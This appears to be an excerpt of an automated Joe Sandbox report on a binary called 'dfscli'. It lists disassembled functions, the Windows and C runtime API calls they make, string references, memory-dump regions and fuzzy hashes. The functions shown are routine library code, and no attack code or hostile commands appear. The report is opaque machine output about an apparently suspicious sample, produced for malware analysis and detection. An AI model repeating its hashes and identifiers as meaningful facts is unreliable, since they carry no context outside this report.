Instruction ID: 1a3153decd58b46bd6a0c121a40f0f3a120ecd19db3a4f9c7d82dc57bbc87be9
Opcode Fuzzy Hash: c0277fd87a20140d2149f3f34d2eb646c926a0dbb09a78b738232d21ded5d3b9
Instruction Fuzzy Hash: 54510472A00219EBCB20AF75DC85B9ABBB8FF48354F50452BE915D7281DB38D850CFA4

Function 00420977 Relevance: 15.1, APIs: 10, Instructions: 81stringregistryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0042097C
GetClassInfoA.USER32(?,?,?), ref: 00420997
RegisterClassA.USER32(?), ref: 004209AA
lstrlenA.KERNEL32(-00000034,00000001), ref: 004209E6
lstrlenA.KERNEL32(?), ref: 004209ED

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Classlstrlen$H_prologInfoRegister
String ID:
API String ID: 3690589370-0
Opcode ID: 306c1d9e215d0fabf92add2f6d1187e6e5450e128d1fc0b5e055ba4f64e6dba0
Instruction ID: 71e2a2145aac47898e1f733674852a82c0eca1208d8ef585954345c2e418f862
Opcode Fuzzy Hash: 306c1d9e215d0fabf92add2f6d1187e6e5450e128d1fc0b5e055ba4f64e6dba0
Instruction Fuzzy Hash: E531B171A00229EFDF11DF60ED45AAEBFF4FF08315F504126E805A2251C738DA51CBA9

Function 0041A8B9 Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 228COMMON

Download Yara Rule

APIs

_strcat.LIBCMT ref: 0041A991
_strcat.LIBCMT ref: 0041A9AE
___shr_12.LIBCMT ref: 0041AA77

Strings

1#SNAN, xrefs: 0041A95D
1#INF, xrefs: 0041A988
?, xrefs: 0041A90E
1#IND, xrefs: 0041A977
1#QNAN, xrefs: 0041A9A5

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: _strcat$___shr_12
String ID: 1#IND$1#INF$1#QNAN$1#SNAN$?
API String ID: 1152255961-4131533671
Opcode ID: 1738a10b470dc6ab355d8796a0499abadeee2c3cf96b2aae57927fffe5d3a795
Instruction ID: f879c1e990ddeebbe466094dc5d8ff8bd54ad08b32661d6171e75fd2fa4a4eb8
Opcode Fuzzy Hash: 1738a10b470dc6ab355d8796a0499abadeee2c3cf96b2aae57927fffe5d3a795
Instruction Fuzzy Hash: 8C81367180528A8ECF11CBA8C9447FF7BB4AF15314F09455BD850EB282D37C9695C3AB

Function 00420361 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 172COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00420366
GetSystemMetrics.USER32(0000002A), ref: 0042042A
GlobalLock.KERNEL32(00000000,?,?,?,?), ref: 00420495
CreateDialogIndirectParamA.USER32(?,?,?,Function_0001FDFB,00000000), ref: 004204C4

Strings

MS Shell Dlg, xrefs: 00420434

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: CreateDialogGlobalH_prologIndirectLockMetricsParamSystem
String ID: MS Shell Dlg
API String ID: 2364537584-76309092
Opcode ID: 9646e25077798d77b5deeb05f9c54692e781d64a2f7a8cb0eff1768c936a2d1f
Instruction ID: e5cb62502933813201733bd9fc32693ef396ee62b0366fab134f26ca96ffc902
Opcode Fuzzy Hash: 9646e25077798d77b5deeb05f9c54692e781d64a2f7a8cb0eff1768c936a2d1f
Instruction Fuzzy Hash: F551B431B00229DFCB14EFA5E8459EEBBF4AF44314F94456BF502E7292D7388981CB59

Function 004159C0 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 89COMMON

Download Yara Rule

APIs

_strncpy.LIBCMT ref: 004159F7
_strncpy.LIBCMT ref: 00415A68
_strcspn.LIBCMT ref: 00415A85

Strings

,, xrefs: 00415A58
_, xrefs: 00415A3B
,, xrefs: 00415A70
., xrefs: 00415A24
_.,, xrefs: 00415A7F

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: _strncpy$_strcspn
String ID: ,$,$.$_$_.,
API String ID: 209312476-1893563293
Opcode ID: 2e43a5f81b777912afccb140e69afc6829ec4401cf3e0a016be81a25e8608456
Instruction ID: 094b99d490e66d553d3a6f78acc3330e94534354dd0d36d43b286bc5cd0e5350
Opcode Fuzzy Hash: 2e43a5f81b777912afccb140e69afc6829ec4401cf3e0a016be81a25e8608456
Instruction Fuzzy Hash: 6F216B315C0A06EDEF308A64C881BEB3758AF913E4F584717F8498A281D33CA9C5C79D

Function 00425A8C Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

GetStockObject.GDI32(00000011), ref: 00425AB0
GetStockObject.GDI32(0000000D), ref: 00425AB8
GetObjectA.GDI32(00000000,0000003C,?), ref: 00425AC5
GetDC.USER32(00000000), ref: 00425AD4
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00425AE8
MulDiv.KERNEL32(00000000,00000048,00000000), ref: 00425AF4
ReleaseDC.USER32(00000000,00000000), ref: 00425AFF

Strings

System, xrefs: 00425AAB, 00425B15

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Object$Stock$CapsDeviceRelease
String ID: System
API String ID: 46613423-3470857405
Opcode ID: fe69864a35ea89a40515d5fc80cfd6c8ee3fb8849cac013ddd10af84c3ff34a8
Instruction ID: ffff926d86ea4a8282c210a474db753b18fb332d241bf638c921fd37c398010f
Opcode Fuzzy Hash: fe69864a35ea89a40515d5fc80cfd6c8ee3fb8849cac013ddd10af84c3ff34a8
Instruction Fuzzy Hash: 6B115471B00228EBEB20DFA1ED85FAE7B78AF04744F404125F605A71D0D7B49D42CBA8

Function 0041ACBC Relevance: 13.8, APIs: 9, Instructions: 291COMMON

Download Yara Rule

APIs

CompareStringW.KERNEL32(00000000,00000000,004322C4,00000001,004322C4,00000001,00433B18,00000040,00419FC8,?,00000001,?,00000000,?,00000000,?), ref: 0041ACE8
GetLastError.KERNEL32(?,0000003C,00000000,?,?,0000003C,00000000,?,?,00000018,00000000,?,?,0000016D,00000000,?), ref: 0041ACFA
GetCPInfo.KERNEL32(00000000,00000000,00433B18,00000040,00419FC8,?,00000001,?,00000000,?,00000000,?,^@,004176DC,00000000,00000000), ref: 0041ADA4
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000004,00000000,00000000,?,0000003C,00000000,?,?,0000003C,00000000,?,?,00000018), ref: 0041AE32
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000004,00000190,00000000,?,0000003C,00000000,?,?,0000003C,00000000,?,?,00000018), ref: 0041AEAB
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,?,00000000,00000000,?,0000003C,00000000,?,?,0000003C,00000000,?,?,00000018), ref: 0041AEC8
MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,?,?,00000000,?,0000003C,00000000,?,?,0000003C,00000000,?,?,00000018), ref: 0041AF3E

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: ByteCharMultiWide$CompareErrorInfoLastString
String ID:
API String ID: 1773772771-0
Opcode ID: 5a6277f7f7645b34a1ca5d23e9bca92d5f01ef7ed54ed092bd0c7847a4edd101
Instruction ID: f5f744d86d54cd8ca6db1966468d69e19fe399d0adc8f6adef735f185170d353
Opcode Fuzzy Hash: 5a6277f7f7645b34a1ca5d23e9bca92d5f01ef7ed54ed092bd0c7847a4edd101
Instruction Fuzzy Hash: D0B1C471901209AFCF21DF65DC41AEF7BB6EF08354F14012BF811A62A0D73989E5CB9A

Function 0040F55C Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 227COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 0040F614
__allrem.LIBCMT ref: 0040F62C
__allrem.LIBCMT ref: 0040F648
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040F683
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040F69F
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040F6B6

Part of subcall function 004150CA: __lock.LIBCMT ref: 004150E2

Strings

^@, xrefs: 0040F60B, 0040F629, 0040F5DA

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@$__lock
String ID: ^@
API String ID: 4106114094-3067454934
Opcode ID: f69c0a922e78807a0b225c01b9b7e650e9e6c5e0ad57cf8c216420461cf175c5
Instruction ID: 0793e8c0385b27168c5ed49dc395ad643d610412e7e07f13e1331a588879ac93
Opcode Fuzzy Hash: f69c0a922e78807a0b225c01b9b7e650e9e6c5e0ad57cf8c216420461cf175c5
Instruction Fuzzy Hash: 54719F75E00209BFDB24DFA9CC81B9EB7B6EB84314F14817AF510F3691D3789A448B59

Function 0040F7B9 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

Part of subcall function 004148BE: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00414930

__allrem.LIBCMT ref: 0040F8CC
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040F8ED
__allrem.LIBCMT ref: 0040F909
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040F92C
__allrem.LIBCMT ref: 0040F948
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040F96B

Part of subcall function 00415116: __lock.LIBCMT ref: 00415124

Strings

^@, xrefs: 0040F7B9

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$__allrem$__lock
String ID: ^@
API String ID: 1282128132-3067454934
Opcode ID: 503f9c629e17bedf12aa749e16a2be0b44da8eaeb40d5e21e031042d8dcd9b81
Instruction ID: 6440d212c24c971b3252e86089126bc21e948c25b89904ef9f819ef4e6195108
Opcode Fuzzy Hash: 503f9c629e17bedf12aa749e16a2be0b44da8eaeb40d5e21e031042d8dcd9b81
Instruction Fuzzy Hash: 9C61B3B2900605EFDB24DF69C880AAEB7F5EB84314F24853FE455E3791D7349E898B48

Function 00408DE1 Relevance: 12.3, APIs: 8, Instructions: 303memoryCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00408DE6

Part of subcall function 0040780C: CoGetClassObject.OLE32(?,?,00000000,00433C4C,?), ref: 0040782C

Part of subcall function 00426B5A: __EH_prolog.LIBCMT ref: 00426B5F

Part of subcall function 00426B15: __EH_prolog.LIBCMT ref: 00426B1A

CreateILockBytesOnHGlobal.OLE32(00000000,00000001,?), ref: 00408F6F
StgCreateDocfileOnILockBytes.OLE32(?,00001012,00000000,?), ref: 00408F90
GlobalAlloc.KERNEL32(00000000,00000000), ref: 00408FE3
GlobalLock.KERNEL32(00000000), ref: 00408FF1
GlobalUnlock.KERNEL32(?), ref: 00409009
CreateILockBytesOnHGlobal.OLE32(?,00000001,?), ref: 0040902C
StgOpenStorageOnILockBytes.OLE32(?,00000000,00000012,00000000,00000000,?), ref: 00409048

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: GlobalLock$Bytes$CreateH_prolog$AllocClassDocfileObjectOpenStorageUnlock
String ID:
API String ID: 645133905-0
Opcode ID: 005b3a7b1ba1e7ec0c156c389e7c3750a11e397c02a4dfee90b0cb540f4121ed
Instruction ID: adf4c40781447d7e631396cda822757ebb0fe2e859268748525afa0d866fb1c1
Opcode Fuzzy Hash: 005b3a7b1ba1e7ec0c156c389e7c3750a11e397c02a4dfee90b0cb540f4121ed
Instruction Fuzzy Hash: D8C11A70A00209EFCF14DF65C9889AEBBBAFF88304B10456AF811EB291D779DD41CB65

Function 00414AE3 Relevance: 12.2, APIs: 8, Instructions: 212timeCOMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 00414AF6

Part of subcall function 004108E8: EnterCriticalSection.KERNEL32(?,?,?,00410723,00000004,00431B20,00000010,0041200F,00000001,0000008C,?,00431A70,00000060), ref: 00410910

_strlen.LIBCMT ref: 00414B68
_strcat.LIBCMT ref: 00414B85
_strncpy.LIBCMT ref: 00414B9E

Part of subcall function 0040E502: __lock.LIBCMT ref: 0040E520
Part of subcall function 0040E502: HeapFree.KERNEL32(00000000,?,00431A60,0000000C,004108CC,00000000,00431B30,00000008,00410901,?,?,?,00410723,00000004,00431B20,00000010), ref: 0040E567

GetTimeZoneInformation.KERNEL32(0043F808,00432298,00000018,004150F8,004322A8,00000008,0040F746,?,?,0000003C,00000000,?,?,0000003C,00000000,?), ref: 00414C07
WideCharToMultiByte.KERNEL32(00000000,00000000,0043F80C,000000FF,0000003F,00000000,?,?,0000003C,00000000,?,?,0000003C,00000000,?,?), ref: 00414C95
WideCharToMultiByte.KERNEL32(00000000,00000000,0043F860,000000FF,0000003F,00000000,?,?,0000003C,00000000,?,?,0000003C,00000000,?,?), ref: 00414CC9

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: ByteCharMultiWide__lock$CriticalEnterFreeHeapInformationSectionTimeZone_strcat_strlen_strncpy
String ID:
API String ID: 3757401926-0
Opcode ID: a12a00952cfbe2cbfe0e02be742bc80dcd0c2f8750305a48b7d58f6abd9f11fa
Instruction ID: b88b56355e109a379969b639f8961749b468b39d063f6cbed0312a5d21008a68
Opcode Fuzzy Hash: a12a00952cfbe2cbfe0e02be742bc80dcd0c2f8750305a48b7d58f6abd9f11fa
Instruction Fuzzy Hash: 1B7137319042419EDB28AF29FC85B967BE5E785310F64253BE850E72E1E73C48C2CB5D

Function 021C14A0 Relevance: 12.2, APIs: 8, Instructions: 171COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000007F), ref: 021C14DB
SetLastError.KERNEL32(0000007F), ref: 021C1507

Memory Dump Source

Source File: 00000002.00000002.2117474523.00000000021C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 021C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_21c1000_dfscli.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 2ff42435e9c1128df88de3cde3dbb1a97e46d6a2bb984d43cf9e365cf9cc3bbf
Instruction ID: 4ebed1f44929cc9d0b7056100264d81e218fb4ba4fc3f7b9b10317cdea554e75
Opcode Fuzzy Hash: 2ff42435e9c1128df88de3cde3dbb1a97e46d6a2bb984d43cf9e365cf9cc3bbf
Instruction Fuzzy Hash: F071FB78E80119EFDB08DF94C580BADB7B2FF58304F248598D51AAB342D774AA91DF90

Function 0041773D Relevance: 12.2, APIs: 8, Instructions: 169COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,?,00432B10,00000038,00415751,?,00000000,00000000,0040FE1B,00000000,00000000,004322F0,0000001C,0040FB4A,00000001,00000020), ref: 0041777B
GetCPInfo.KERNEL32(00000000,00000001), ref: 0041778E
_strlen.LIBCMT ref: 004177B2
MultiByteToWideChar.KERNEL32(00000000,00000001,0040FE1B,?,00000000,00000000), ref: 004177D3

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Info$ByteCharMultiWide_strlen
String ID:
API String ID: 1335377746-0
Opcode ID: 16f72e5b873a4ab48f6271f059b37c8091238466f59f76de78d94d45d57762bb
Instruction ID: c96e7402d8f87136a9c376d92da51b645b4312610aa90fcb7a9bffc7d4a68029
Opcode Fuzzy Hash: 16f72e5b873a4ab48f6271f059b37c8091238466f59f76de78d94d45d57762bb
Instruction Fuzzy Hash: 25518E70A04218EBDF21AFA6DC89DEFBBB9EF84354F24412BF415A2290D7345D91CB64

Function 00426D32 Relevance: 12.1, APIs: 8, Instructions: 134windowCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00426D37

Part of subcall function 0040D93F: __EH_prolog.LIBCMT ref: 0040D944

GetCapture.USER32 ref: 0042750F
SendMessageA.USER32(00000000,00000365,00000000,00000000), ref: 00427528
GetFocus.USER32 ref: 0042753A
SendMessageA.USER32(00000000,00000365,00000000,00000000), ref: 00427546
GetLastActivePopup.USER32(?), ref: 0042756D
SendMessageA.USER32(00000000,00000365,00000000,00000000), ref: 00427578
SendMessageA.USER32(?,00000111,0000E147,00000000), ref: 0042759C

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: MessageSend$H_prolog$ActiveCaptureFocusLastPopup
String ID:
API String ID: 2915395904-0
Opcode ID: 985eb66304feea1a64375c5613d292e13957ddd9534c99a91611df43f47409d5
Instruction ID: 19a528a7567d654ee424c3ff896293cafdfeef5f92fb810e1dffabcbd8df109d
Opcode Fuzzy Hash: 985eb66304feea1a64375c5613d292e13957ddd9534c99a91611df43f47409d5
Instruction Fuzzy Hash: 0541F071704228BFCB24AB65EC44E7FB6A9EF44384B60043FF101D3690CB78CC829669

Function 00412A67 Relevance: 12.1, APIs: 8, Instructions: 131COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(76230A60,00000000,?,?,?,?,0040E927,?,00431A70,00000060), ref: 00412A83
GetLastError.KERNEL32(?,?,?,?,0040E927,?,00431A70,00000060), ref: 00412A97
GetEnvironmentStringsW.KERNEL32(76230A60,00000000,?,?,?,?,0040E927,?,00431A70,00000060), ref: 00412AB9
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,76230A60,00000000,?,?,?,?,0040E927), ref: 00412AED
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,?,?,0040E927,?,00431A70,00000060), ref: 00412B0F
FreeEnvironmentStringsW.KERNEL32(00000000,?,?,?,?,0040E927,?,00431A70,00000060), ref: 00412B28
GetEnvironmentStrings.KERNEL32(76230A60,00000000,?,?,?,?,0040E927,?,00431A70,00000060), ref: 00412B3E
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00412B7A

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide$ErrorLast
String ID:
API String ID: 883850110-0
Opcode ID: 1a7aa8cc262657e72444d06c6bde20108307b8118384107d7f56e1d07f72045c
Instruction ID: accb5785985df4b6819ef042d50e533d603ff3fa48001b7d390ff30f191b463a
Opcode Fuzzy Hash: 1a7aa8cc262657e72444d06c6bde20108307b8118384107d7f56e1d07f72045c
Instruction Fuzzy Hash: 9F3159726082656FD7302F759EC48BBB78CEB45394715083BF142C3250E6E86CE582BD

Function 0041F239 Relevance: 12.1, APIs: 8, Instructions: 65memorystringCOMMON

Download Yara Rule

APIs

GlobalLock.KERNEL32(?), ref: 0041F256
lstrcmpA.KERNEL32(?,?), ref: 0041F262
OpenPrinterA.WINSPOOL.DRV(?,?,00000000), ref: 0041F274
DocumentPropertiesA.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 0041F294
GlobalAlloc.KERNEL32(00000042,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 0041F29C
GlobalLock.KERNEL32(00000000), ref: 0041F2A6
DocumentPropertiesA.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000002), ref: 0041F2B3
ClosePrinter.WINSPOOL.DRV(?,00000000,?,?,00000000,00000000,00000002), ref: 0041F2CB

Part of subcall function 0042663E: GlobalFlags.KERNEL32(?), ref: 00426648
Part of subcall function 0042663E: GlobalUnlock.KERNEL32(?,00000000,?,0041F2C5,?,00000000,?,?,00000000,00000000,00000002), ref: 00426659
Part of subcall function 0042663E: GlobalFree.KERNEL32(?), ref: 00426664

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Global$DocumentLockProperties$AllocCloseFlagsFreeOpenPrinterPrinter.Unlocklstrcmp
String ID:
API String ID: 168474834-0
Opcode ID: c54c654e90a360fa660b54eee4c91334e9e2f47313cccc9f547efc29e8fe9139
Instruction ID: 8fa5d7953f2ec37764842a3f19103b125725ee6fb1def39efba1f66d7d1e0517
Opcode Fuzzy Hash: c54c654e90a360fa660b54eee4c91334e9e2f47313cccc9f547efc29e8fe9139
Instruction Fuzzy Hash: 51110676200104BEDB216BA6CC45DAFBABDEF84700B50046EF605D1220D73AC992DB78

Function 022312B0 Relevance: 10.9, APIs: 1, Strings: 5, Instructions: 396COMMON

Download Yara Rule

Strings

Ei, xrefs: 022313C0
